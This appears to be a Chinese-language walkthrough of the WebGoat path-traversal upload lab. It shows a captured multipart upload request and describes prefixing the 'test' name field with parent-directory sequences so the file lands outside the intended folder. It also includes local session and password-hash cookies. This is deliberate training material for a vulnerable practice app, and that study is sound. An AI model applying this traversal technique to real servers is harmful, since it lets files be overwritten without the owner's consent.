首先来看看漏洞页面,通过题目提示得知是一道上传文件时遍历路径的题
在这个任务中,目标是覆盖文件系统上的特定文件。WebGoat当然关心用户 因此,您需要将文件上传到正常上传位置之外的以下位置。
那么我们需要上传文件到以下目录当中就能得出flag
C:\Users\Sec/.webgoat-8.1.0/PathTraversal/
尝试上传一张照片发现默认路径上传到
C:\Users\Sec\.webgoat-8.1.0\PathTraversal\Wsec\test"
但是根据题目要求,需要上传目录至C:\Users\Sec/.webgoat-8.1.0/PathTraversal/
对比两个路径可以发现只需要跳转两个上一级目录即可达到题目要求的效果。
于是我们可以抓包,修改数据包达到目录上一级跳转
POST /WebGoat/PathTraversal/profile-upload HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------14583636429655905603157264114
Content-Length: 88931
Origin: http://localhost:8090
Connection: close
Referer: http://localhost:8090/WebGoat/start.mvc
Cookie: JSESSIONID=iu9Es2dyhGJQZxVqboqLSnervHyVsaYzfvWSs-ca; UserName=xpcode; PassWord=e10adc3949ba59abbe56e057f20f883e; bjzH_2132_ulastactivity=a3f9tP7PHRuKqFTUZ%2Fq5yBXudCVdhbMCwqZPlxylzNyWk9etXq5R; Phpstorm-c9afe40e=5006de40-8c24-4520-9e7e-a4c62f328f5e
-----------------------------14583636429655905603157264114
Content-Disposition: form-data; name="uploadedFile"; filename="æºä».jpg"
Content-Type: image/jpeg
前面的数据包没有什么需要注意的,中间有一点乱码数据,我们直接看最后的几处数据包
-----------------------------14583636429655905603157264114
Content-Disposition: form-data; name="fullName"
test
-----------------------------14583636429655905603157264114
Content-Disposition: form-data; name="email"
test@test.com
-----------------------------14583636429655905603157264114
Content-Disposition: form-data; name="password"
test
-----------------------------14583636429655905603157264114--
-----------------------------14583636429655905603157264114
Content-Disposition: form-data; name="fullName"
test
通过代码审计可以发现传入了一个test文件,所以我们可以在test前加入目录跳转语句最后发包试试
可以看到已经成功通过这一关
Congratulations. You have successfully completed the assignment.